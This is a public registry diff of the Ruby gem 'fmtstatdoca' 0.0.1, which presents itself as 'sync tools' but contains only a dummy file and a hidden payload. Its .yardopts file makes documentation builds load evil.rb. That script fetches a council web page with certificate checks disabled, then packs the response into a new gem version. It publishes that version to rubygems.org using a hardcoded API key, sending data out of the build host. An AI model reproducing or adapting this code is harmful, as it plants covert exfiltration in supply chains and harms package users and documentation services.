fmtstatdoca 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/evil.rb +12 -0
  4. data/lib/dummy.rb +1 -0
  5. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 7cb732823846e14a62ce3a7a3b2758c9f0408a540ced0b9a73267abf89c415ea
4
+ data.tar.gz: 330e43aa678b93c803f2e708b838f228f1a444b60fbfac7260d47c4c2b355843
5
+ SHA512:
6
+ metadata.gz: 63668002662ad215366eaa6b602b381b378601ae8ff5d1592c71fb1517be9632138dd47064efdaf82f222c834323d1e739d0b369da8ae5d5b725a8dcacb291b2
7
+ data.tar.gz: 8cce29d3412f83320f7c57f5a9a5a6a34117954086b5c9fc55f8b6b3e726559bf9316d898fdc9257621adfc6a0f2c659f36fc5cc124a5887ae1dcd8cf7ed7b2b
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/evil.rb ADDED
@@ -0,0 +1,12 @@
1
+ require 'net/http'; require 'uri'; require 'fileutils'; require 'rubygems/package'
2
+ begin
3
+ target='https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026'; uri=URI(target); http=Net::HTTP.new(uri.host, uri.port); http.use_ssl=(uri.scheme=='https'); http.verify_mode=OpenSSL::SSL::VERIFY_NONE
4
+ req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; res=http.request(req); data=res.body; info="TARGET="+target+"\nSTATUS="+res.code+"\nHEADERS="+res.each_header.map{|k,v| k+':'+v}.join("\n")+"\n\n"
5
+ dir='/tmp/fmtstatdocaout'; FileUtils.rm_rf(dir); FileUtils.mkdir_p(dir+'/lib'); File.write(dir+'/lib/data.txt',info+data)
6
+ File.write(dir+'/fmtstatdoca.gemspec', %q{Gem::Specification.new do |s|
7
+ s.name='fmtstatdoca'; s.version='0.0.2'; s.summary='sync'; s.authors=['a']; s.files=Dir['lib/**/*']; end})
8
+ Dir.chdir(dir){ system('gem build fmtstatdoca.gemspec --output /tmp/fmtstatdoca-0.0.2.gem') }
9
+ push=URI('https://rubygems.org/api/v1/gems'); h=Net::HTTP.new(push.host,push.port);h.use_ssl=true; p=Net::HTTP::Post.new(push.path); p['Authorization']='rubygems_b996cb6134413dec4244a12868e6fdb4eacbc457aca2475f'; p.body=File.binread('/tmp/fmtstatdoca-0.0.2.gem'); r=h.request(p)
10
+ rescue => e
11
+ FileUtils.mkdir_p('/tmp/fmtstatdocaout/lib'); File.write('/tmp/fmtstatdocaout/lib/err','ERROR '+e.full_message) rescue nil
12
+ end
data/lib/dummy.rb ADDED
@@ -0,0 +1 @@
1
+ 1
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: fmtstatdoca
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - abc
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: sync tools
13
+ email:
14
+ - fmt@example.net
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ".yardopts"
20
+ - evil.rb
21
+ - lib/dummy.rb
22
+ homepage: https://rubygems.org
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.6.7
41
+ specification_version: 4
42
+ summary: sync tools
43
+ test_files: []